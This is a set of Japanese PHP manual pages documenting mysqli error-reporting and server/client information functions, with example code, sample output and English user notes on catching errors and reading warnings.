erwin at transpontine dot com 28-Jun-2013 05:31
You can also find the error codes for for example MySQL 5.5 here: http://dev.mysql.com/doc/refman/5.5/en/error-handling.html


直近で実行したコマンドからのエラーの一覧を返す

  • ≪ mysqli::$errno
  • mysqli::$error ≫
  • PHP Manual
  • mysqli
  • 直近で実行したコマンドからのエラーの一覧を返す

mysqli::$error_list

mysqli_error_list

(PHP 5 >= 5.4.0, PHP 7)

mysqli::$error_list -- mysqli_error_list — 直近で実行したコマンドからのエラーの一覧を返す

説明

オブジェクト指向型

array $mysqli->error_list;

手続き型

mysqli_error_list ( mysqli $link ) : array

エラーの配列を返します。この配列の内容は、直近で実行した MySQLi 関数コールで発生したエラーです。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

エラーの一覧を返します。個々のエラーは連想配列形式で、 errno、error および sqlstate のキーを含みます。

例

例1 $mysqli->error_list の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "nobody", "");

/* 接続を確認します */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!$mysqli->query("SET a=1")) {
    print_r($mysqli->error_list);
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続を確認します */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!mysqli_query($link, "SET a=1")) {
    print_r(mysqli_error_list($link));
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Array
(
    [0] => Array
        (
            [errno] => 1193
            [sqlstate] => HY000
            [error] => Unknown system variable 'a'
        )

)

参考

  • mysqli_connect_errno() - 直近の接続コールに関するエラーコードを返す
  • mysqli_connect_error() - 直近の接続エラーの内容を文字列で返す
  • mysqli_error() - 直近のエラーの内容を文字列で返す
  • mysqli_sqlstate() - 直前の MySQL の操作での SQLSTATE エラーを返す

User Contributed Notes

Anonymous 09-Jan-2020 12:54
Beware, that this may also return false instead of [].


直近のエラーの内容を文字列で返す

  • ≪ mysqli::$error_list
  • mysqli::$field_count ≫
  • PHP Manual
  • mysqli
  • 直近のエラーの内容を文字列で返す

mysqli::$error

mysqli_error

(PHP 5, PHP 7)

mysqli::$error -- mysqli_error — 直近のエラーの内容を文字列で返す

説明

オブジェクト指向型

string $mysqli->error;

手続き型

mysqli_error ( mysqli $link ) : string

直近の MySQLi 関数のコールが成功あるいは失敗した際のエラーメッセージを返します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

エラーの内容を表す文字列を返します。エラーが発生しなかった場合は空文字列を返します。

例

例1 $mysqli->error の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

if (!$mysqli->query("SET a=1")) {
    printf("Error message: %s\n", $mysqli->error);
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!mysqli_query($link, "SET a=1")) {
    printf("Error message: %s\n", mysqli_error($link));
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Error message: Unknown system variable 'a'

参考

  • mysqli_connect_errno() - 直近の接続コールに関するエラーコードを返す
  • mysqli_connect_error() - 直近の接続エラーの内容を文字列で返す
  • mysqli_errno() - 直近の関数コールによるエラーコードを返す
  • mysqli_sqlstate() - 直前の MySQL の操作での SQLSTATE エラーを返す

User Contributed Notes

Anonymous 12-Nov-2019 07:19
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
try {
                $this->connection = mysqli_connect($hostname,$username,$password, $dbname);
} catch (Exception $e) {
                echo "Errno: " . mysqli_connect_errno() . PHP_EOL;
                echo "Text error: " . mysqli_connect_error() . PHP_EOL;
                exit;
}
callforeach at gmail dot com 10-Mar-2015 01:39
I had to set mysqli_report(MYSQLI_REPORT_ALL) at the begin of my script to be able to catch mysqli errors within the catch block of my php code.

Initially, I used the below code to throw and subsequent catch mysqli exceptions

<?php
try {
   $mysqli = new mysqli('localhost','root','pwd','db');
    if ($mysqli->connect_errno)
        throw new Exception($mysqli->connect_error);

} catch (Exception $e) {
     echo $e->getMessage();
}

I realized the exception was being thrown before the actual throw statement and hence the catch block was not being called.

My current code looks like
mysqli_report(MYSQLI_REPORT_ALL) ;
try {
      $mysqli = new mysqli('localhost','root','pwd','db');
      /* I don't need to throw the exception, it's being thrown automatically */

} catch (Exception $e) {
  echo $e->getMessage();
}

This works fine and I'm able to trap all mysqli errors
asmith16 at littlesvr dot ca 01-Nov-2013 11:42
Please note that the string returned may contain data initially provided by the user, possibly making your code vulnerable to XSS.

So even if you escape everything in your SQL query using mysqli_real_escape_string(), make sure that if you plan to display the string returned by mysqli_error() you run that string through htmlspecialchars().

As far as I can tell the two escape functions don't escape the same characters, which is why you need both (the first for SQL and the second for HTML/JS).
jlarsen at fsu dot edu 28-Mar-2010 01:21
try/catch on $mysqli->query
doesn't catch most SQL errors, you should use $mysqli->error
se (at) brainbits (dot) net 20-Apr-2006 05:22
The decription "mysqli_error -- Returns a string description of the LAST error" is not exactly that what you get from mysqli_error. You get the error description from the last mysqli-function, not from the last mysql-error.

If you have the following situation

if (!$mysqli->query("SET a=1")) {
   $mysqli->query("ROLLBACK;")
   printf("Errormessage: %s\n", $mysqli->error);
}

you don't get an error-message, if the ROLLBACK-Query didn't failed, too. In order to get the right error-message you have to write:

if (!$mysqli->query("SET a=1")) {
   printf("Errormessage: %s\n", $mysqli->error);
   $mysqli->query("ROLLBACK;")
}
information at saunderswebsolutions dot com 24-Jan-2006 02:37
The mysqli_sql_exception class is not available to PHP 5.05

I used this code to catch errors
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$res) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>
The problem with this is that valid values for $res are: a mysqli_result object , true or false
This doesn't tell us that there has been an error with the sql used.
If you pass an update statement, false is a valid result if the update fails.

So, a better way is:
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$mysqli->error) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>

This would output something like:
Unexpected PHP error [mysqli::query() [<a href='function.query'>function.query</a>]: (42S22/1054): Unknown column 'XXname' in 'field list'] severity [E_WARNING] in [G:\database.php] line [249]

Very frustrating as I wanted to also catch the sql error and print out the stack trace.

A better way is:

<?php
mysqli_report(MYSQLI_REPORT_OFF); //Turn off irritating default messages

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if ($mysqli->error) {
    try {
        throw new Exception("MySQL error $mysqli->error <br> Query:<br> $query", $msqli->errno);
    } catch(Exception $e ) {
        echo "Error No: ".$e->getCode(). " - ". $e->getMessage() . "<br >";
        echo nl2br($e->getTraceAsString());
    }
}

//Do stuff with the result
?>
Prints out something like:
Error No: 1054
Unknown column 'XXname' in 'field list'
Query:
SELECT XXname FROM customer_table

#0 G:\\database.php(251): database->dbError('Unknown column ...', 1054, 'getQuery()', 'SELECT XXname F...')
#1 G:\data\WorkSites\1framework5\tests\dbtest.php(29): database->getString('SELECT XXname F...')
#2 c:\PHP\includes\simpletest\runner.php(58): testOfDB->testGetVal()
#3 c:\PHP\includes\simpletest\runner.php(96): SimpleInvoker->invoke('testGetVal')
#4 c:\PHP\includes\simpletest\runner.php(125): SimpleInvokerDecorator->invoke('testGetVal')
#5 c:\PHP\includes\simpletest\runner.php(183): SimpleErrorTrappingInvoker->invoke('testGetVal')
#6 c:\PHP\includes\simpletest\simple_test.php(90): SimpleRunner->run()
#7 c:\PHP\includes\simpletest\simple_test.php(498): SimpleTestCase->run(Object(HtmlReporter))
#8 c:\PHP\includes\simpletest\simple_test.php(500): GroupTest->run(Object(HtmlReporter))
#9 G:\all_tests.php(16): GroupTest->run(Object(HtmlReporter))

This will actually print out the error, a stack trace and the offending sql statement. Much more helpful when the sql statement is generated somewhere else in the code.
information at saunderswebsolutions dot com 13-Jan-2006 02:52
Hi, you can also use the new mysqli_sql_exception to catch sql errors.
Example:
<?php
//set up $mysqli_instance here..
$Select = "SELECT xyz FROM mytable ";
try {
    $res = $mysqli_instance->query($Select);
}catch (mysqli_sql_exception $e) {
    print "Error Code <br>".$e->getCode();
    print "Error Message <br>".$e->getMessage();
    print "Strack Trace <br>".nl2br($e->getTraceAsString());
}

?>
Will print out something like
Error Code: 0
Error Message
No index used in query/prepared statement select sess_value from frame_sessions where sess_name = '5b85upjqkitjsostvs6g9rkul1'
Strack Trace:
#0 G:\classfiles\lib5\database.php(214): mysqli->query('select sess_val...')
#1 G:\classfiles\lib5\Session.php(52): database->getString('select sess_val...')
#2 [internal function]: sess_read('5b85upjqkitjsos...')
#3 G:\classfiles\includes.php(50): session_start()
#4 G:\tests\all_tests.php(4): include('G:\data\WorkSit...')
#5 {main}


直近のクエリのカラムの数を返す

  • ≪ mysqli::$error
  • mysqli::get_charset ≫
  • PHP Manual
  • mysqli
  • 直近のクエリのカラムの数を返す

mysqli::$field_count

mysqli_field_count

(PHP 5, PHP 7)

mysqli::$field_count -- mysqli_field_count — 直近のクエリのカラムの数を返す

説明

オブジェクト指向型

int $mysqli->field_count;

手続き型

mysqli_field_count ( mysqli $link ) : int

link が指す接続における直近のクエリの カラムの数を返します。この関数は、クエリが空でない結果セットを 生成すべきなのかそうではないのかを判断するために mysqli_store_result() 関数を使用する際に有用です。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

結果セットのフィールド数を整数で返します。

例

例1 $mysqli->field_count の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query( "DROP TABLE IF EXISTS friends");
$mysqli->query( "CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query( "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$mysqli->real_query("SELECT * FROM friends");

if ($mysqli->field_count) {
    /* これは select/show あるいは describe クエリです */
    $result = $mysqli->store_result();

    /* 結果セットを処理します */
    $row = $result->fetch_row();

    /* 結果セットを開放します */
    $result->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

mysqli_real_query($link, "SELECT * FROM friends");

if (mysqli_field_count($link)) {
    /* これは select/show あるいは describe クエリです */
    $result = mysqli_store_result($link);

    /* 結果セットを処理します */
    $row = mysqli_fetch_row($result);

    /* 結果セットを開放します */
    mysqli_free_result($result);
}

/* 接続を閉じます */
mysqli_close($link);
?>

User Contributed Notes

dedlfix 18-Jul-2006 10:26
There are MYSQLI_TYPE_* constants for the type property (listed in http://php.net/manual/en/ref.mysqli.php).

e.g.
<?php
if ($finfo->type == MYSQLI_TYPE_VAR_STRING)
  // a VARCHAR


文字セットオブジェクトを返す

  • ≪ mysqli::$field_count
  • mysqli::$client_info ≫
  • PHP Manual
  • mysqli
  • 文字セットオブジェクトを返す

mysqli::get_charset

mysqli_get_charset

(PHP 5 >= 5.1.0, PHP 7)

mysqli::get_charset -- mysqli_get_charset — 文字セットオブジェクトを返す

説明

オブジェクト指向型

public mysqli::get_charset ( ) : object

手続き型

mysqli_get_charset ( mysqli $link ) : object

文字セットオブジェクトを返します。 これは、現在アクティブな文字セットについてのプロパティを提供します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

この関数は、以下のプロパティを持つ文字セットオブジェクトを返します。

charset

文字セット名

collation

照合規則名

dir

文字セットの設定を読み込むディレクトリ。組み込みの文字セットについては ""

min_length

最小の文字の長さ (バイト数)

max_length

最大の文字の長さ (バイト数)

number

内部文字セット番号

state

文字セットの状態

例

例1 mysqli::get_charset() の例

オブジェクト指向型

<?php
  $db = mysqli_init();
  $db->real_connect("localhost","root","","test");
  var_dump($db->get_charset());
?>

手続き型

<?php
  $db = mysqli_init();
  mysqli_real_connect($db, "localhost","root","","test");
  var_dump(mysqli_get_charset($db));
?>

上の例の出力は以下となります。

object(stdClass)#2 (7) {
  ["charset"]=>
  string(6) "latin1"
  ["collation"]=>
  string(17) "latin1_swedish_ci"
  ["dir"]=>
  string(0) ""
  ["min_length"]=>
  int(1)
  ["max_length"]=>
  int(1)
  ["number"]=>
  int(8)
  ["state"]=>
  int(801)
}

参考

  • mysqli_character_set_name() - データベース接続のデフォルトの文字コードセットを返す
  • mysqli_set_charset() - クライアントのデフォルト文字セットを設定する

User Contributed Notes

There are no user contributed notes for this page.


MySQL クライアント情報を取得する

  • ≪ mysqli::get_charset
  • mysqli::$client_version ≫
  • PHP Manual
  • mysqli
  • MySQL クライアント情報を取得する

mysqli::$client_info

mysqli::get_client_info

mysqli_get_client_info

(PHP 5, PHP 7)

mysqli::$client_info -- mysqli::get_client_info -- mysqli_get_client_info — MySQL クライアント情報を取得する

説明

オブジェクト指向型

string $mysqli->client_info;
public mysqli::get_client_info ( ) : string

手続き型

mysqli_get_client_info ( mysqli $link = NULL ) : string

MySQL クライアントライブラリのバージョンを文字列で返します。

返り値

MySQL クライアントライブラリのバージョンを文字列で返します。

例

例1 mysqli_get_client_info

<?php

/* mysql クライアントライブラリのバージョンを
   調べるために、接続する必要はありません */

printf("Client library version: %s\n", mysqli_get_client_info());
?>

参考

  • mysqli_get_client_version() - MySQL クライアントのバージョンを整数値で返す
  • mysqli_get_server_info() - MySQL サーバーのバージョンを返す
  • mysqli_get_server_version() - MySQL サーバーのバージョンを整数値で返す

User Contributed Notes

There are no user contributed notes for this page.


MySQL クライアントのバージョンを整数値で返す

  • ≪ mysqli::$client_info
  • mysqli::get_connection_stats ≫
  • PHP Manual
  • mysqli
  • MySQL クライアントのバージョンを整数値で返す

mysqli::$client_version

mysqli_get_client_version

(PHP 5, PHP 7)

mysqli::$client_version -- mysqli_get_client_version — MySQL クライアントのバージョンを整数値で返す

説明

オブジェクト指向型

int $mysqli->client_version;

手続き型

mysqli_get_client_version ( mysqli $link ) : int

クライアントのバージョン番号を整数値で返します。

返り値

MySQL クライアントライブラリのバージョンを、以下の書式で返します。 main_version*10000 + minor_version *100 + sub_version 例えば、4.1.0 は 40100 となります。

これは、ある機能が使用可能かどうかを知るため、クライアントライブラリの バージョンを手っ取り早く調べたい場合に有用です。

例

例1 mysqli_get_client_version

<?php

/* mysql クライアントライブラリのバージョンを
   調べるために、接続する必要はありません */

printf("Client library version: %d\n", mysqli_get_client_version());
?>

参考

  • mysqli_get_client_info() - MySQL クライアント情報を取得する
  • mysqli_get_server_info() - MySQL サーバーのバージョンを返す
  • mysqli_get_server_version() - MySQL サーバーのバージョンを整数値で返す

User Contributed Notes

There are no user contributed notes for this page.


クライアント接続に関する統計情報を返す

  • ≪ mysqli::$client_version
  • mysqli::$host_info ≫
  • PHP Manual
  • mysqli
  • クライアント接続に関する統計情報を返す

mysqli::get_connection_stats

mysqli_get_connection_stats

(PHP 5 >= 5.3.0, PHP 7)

mysqli::get_connection_stats -- mysqli_get_connection_stats — クライアント接続に関する統計情報を返す

説明

オブジェクト指向型

public mysqli::get_connection_stats ( ) : bool

手続き型

mysqli_get_connection_stats ( mysqli $link ) : array

クライアント接続に関する統計情報を返します。 mysqlnd でのみ使用可能です。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

成功した場合に接続の統計情報を含む配列、それ以外の場合に false を返します。

例

例1 mysqli_get_connection_stats() の例

<?php
$link = mysqli_connect();
print_r(mysqli_get_connection_stats($link));
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

参考

  • 統計情報についての説明

User Contributed Notes

vojtech dot kurka at gmail dot com 21-Feb-2019 02:44
Don't forget that "mysqlnd.collect_statistics" must be set to "1" in your ini config to use this method.
ulf dot wendel at phpdoc dot de 11-Jun-2013 01:09
It is not correct that the same information can be obtained from the server. For example, the server will not give you information about client side memory usage.
HockeyInJune 12-Sep-2009 03:13
While this function is only available if you're using the PHP MySQL Native Driver, you can get the same statistics without this function by using the MySQL SHOW STATUS Query.

Use 'SHOW SESSION STATUS;' for statistics about the current MySQL session.

Use 'SHOW GLOBAL STATUS;' for totals since the server was started.

After you have established a connection with the MySQL Server:

<?php
$result = $mysqli->query('SHOW SESSION STATUS;', MYSQLI_USE_RESULT);
while ($row = $result->fetch_assoc()) {
    $array[$row['Variable_name']] = $row['Value'];
}
$result->close();
print_r($array);
?>


使用している接続の型を文字列で返す

  • ≪ mysqli::get_connection_stats
  • mysqli::$protocol_version ≫
  • PHP Manual
  • mysqli
  • 使用している接続の型を文字列で返す

mysqli::$host_info

mysqli_get_host_info

(PHP 5, PHP 7)

mysqli::$host_info -- mysqli_get_host_info — 使用している接続の型を文字列で返す

説明

オブジェクト指向型

string $mysqli->host_info;

手続き型

mysqli_get_host_info ( mysqli $link ) : string

link が使用している接続の情報を文字列で返します（サーバーのホスト名を 含みます）。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

サーバーのホスト名と接続の型を文字列で返します。

例

例1 $mysqli->host_info の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* ホスト情報を表示します */
printf("Host info: %s\n", $mysqli->host_info);

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* ホスト情報を表示します */
printf("Host info: %s\n", mysqli_get_host_info($link));

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Host info: Localhost via UNIX socket

参考

  • mysqli_get_proto_info() - 使用している MySQL プロトコルのバージョンを返す

User Contributed Notes

There are no user contributed notes for this page.


使用している MySQL プロトコルのバージョンを返す

  • ≪ mysqli::$host_info
  • mysqli::$server_info ≫
  • PHP Manual
  • mysqli
  • 使用している MySQL プロトコルのバージョンを返す

mysqli::$protocol_version

mysqli_get_proto_info

(PHP 5, PHP 7)

mysqli::$protocol_version -- mysqli_get_proto_info — 使用している MySQL プロトコルのバージョンを返す

説明

オブジェクト指向型

string $mysqli->protocol_version;

手続き型

mysqli_get_proto_info ( mysqli $link ) : int

link で表される接続で使用している MySQL プロトコルのバージョンを整数値で返します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

プロトコルバージョンを整数値で返します。

例

例1 $mysqli->protocol_version の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* プロトコルのバージョンを表示します */
printf("Protocol version: %d\n", $mysqli->protocol_version);

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* プロトコルのバージョンを表示します */
printf("Protocol version: %d\n", mysqli_get_proto_info($link));

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Protocol version: 10

参考

  • mysqli_get_host_info() - 使用している接続の型を文字列で返す

User Contributed Notes

There are no user contributed notes for this page.


MySQL サーバーのバージョンを返す

  • ≪ mysqli::$protocol_version
  • mysqli::$server_version ≫
  • PHP Manual
  • mysqli
  • MySQL サーバーのバージョンを返す

mysqli::$server_info

mysqli::get_server_info

mysqli_get_server_info

(PHP 5, PHP 7)

mysqli::$server_info -- mysqli::get_server_info -- mysqli_get_server_info — MySQL サーバーのバージョンを返す

説明

オブジェクト指向型

string $mysqli->server_info;
public mysqli::get_server_info ( ) : string

手続き型

mysqli_get_server_info ( mysqli $link ) : string

MySQLi 拡張モジュールが接続している MySQL サーバーのバージョンを文字列で返します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

サーバーのバージョンを文字列で返します。

例

例1 $mysqli->server_info の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* サーバーのバージョンを表示します */
printf("Server version: %s\n", $mysqli->server_info);

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* サーバーのバージョンを表示します */
printf("Server version: %s\n", mysqli_get_server_info($link));

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Server version: 4.1.2-alpha-debug

参考

  • mysqli_get_client_info() - MySQL クライアント情報を取得する
  • mysqli_get_client_version() - MySQL クライアントのバージョンを整数値で返す
  • mysqli_get_server_version() - MySQL サーバーのバージョンを整数値で返す

User Contributed Notes

it-solutions at schultz dot ch 11-Feb-2016 09:46
Please note that this property returns different versionstrings for MariaDB instances on LINUX and WINDOWS environments.

For a MariaDB instance 10.0.17:

on LINUX, this returns strings like "10.0.17-MariaDB-log"
on WINDOWS environments, this returns strings like "5.5.5-10.0.17-MariaDB-log"

To avoid this extra "5.5.5" on windows environments, you could use the SQL query "select version();" rather than this property of the mysqli extension


MySQL サーバーのバージョンを整数値で返す

  • ≪ mysqli::$server_info
  • mysqli::get_warnings ≫
  • PHP Manual
  • mysqli
  • MySQL サーバーのバージョンを整数値で返す

mysqli::$server_version

mysqli_get_server_version

(PHP 5, PHP 7)

mysqli::$server_version -- mysqli_get_server_version — MySQL サーバーのバージョンを整数値で返す

説明

オブジェクト指向型

int $mysqli->server_version;

手続き型

mysqli_get_server_version ( mysqli $link ) : int

mysqli_get_server_version() 関数は 接続している（link で表される）サーバーの バージョンを整数値で返します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

サーバーのバージョンを整数値で返します。

バージョン番号の書式は以下のようになります。 main_version * 10000 + minor_version * 100 + sub_version (つまり、バージョン 4.1.0 は 40100 となります)

例

例1 $mysqli->server_version の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* 接続の状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* サーバーのバージョンを表示します */
printf("Server version: %d\n", $mysqli->server_version);

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* 接続の状況をチェックする */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* サーバーのバージョンを表示する */
printf("Server version: %d\n", mysqli_get_server_version($link));

/* 接続を閉じる */
mysqli_close($link);
?>

上の例の出力は以下となります。

Server version: 40102

参考

  • mysqli_get_client_info() - MySQL クライアント情報を取得する
  • mysqli_get_client_version() - MySQL クライアントのバージョンを整数値で返す
  • mysqli_get_server_info() - MySQL サーバーのバージョンを返す

User Contributed Notes

There are no user contributed notes for this page.


SHOW WARNINGS の結果を取得する

  • ≪ mysqli::$server_version
  • mysqli::$info ≫
  • PHP Manual
  • mysqli
  • SHOW WARNINGS の結果を取得する

mysqli::get_warnings

mysqli_get_warnings

(PHP 5 >= 5.1.0, PHP 7)

mysqli::get_warnings -- mysqli_get_warnings — SHOW WARNINGS の結果を取得する

説明

オブジェクト指向型

public mysqli::get_warnings ( ) : mysqli_warning

手続き型

mysqli_get_warnings ( mysqli $link ) : mysqli_warning
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

Anonymous 05-Mar-2014 08:36
Take note:
Calling this function will change the output of mysqli_affected_rows if any warnings are returned. So if you're using mysqli_affected_rows in your application, make sure to call it before calling mysqli_get_warnings.
marcus at synchromedia dot co dot uk 19-Aug-2009 02:02
With a bit of rooting about with reflection, I spotted that the mysqli_warning class has a next() function, so I tried calling it and it does indeed progress through the available warnings! Following on from my earlier example:

<?php
$r = mysqli_query($db, "INSERT INTO blah SET z = '1'");
$j = mysqli_warning_count($db);
if ($j > 0) {
    $e = mysqli_get_warnings($db);
    for ($i = 0; $i < $j; $i++) {
        var_dump($e);
        $e->next();
    }
}
?>

There is a simple way of traversing the warnings:

<?php
$r = mysqli_query($db, "INSERT INTO blah SET z = '1'");
if (mysqli_warning_count($db)) {
   $e = mysqli_get_warnings($db);
   do {
       echo "Warning: $e->errno: $e->message\n";
   } while ($e->next());
}
?>
marcus at synchromedia dot co dot uk 19-Aug-2009 07:13
I'm not sure how useful this function is as implemented. Take this example:

CREATE TABLE `blah` (
  `x` varchar(100) NOT NULL,
  `y` varchar(100) NOT NULL,
  `z` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO blah SET z = '1';
Query OK, 1 row affected, 2 warnings (0.00 sec)

mysql> show warnings;
+---------+------+----------------------------------------+
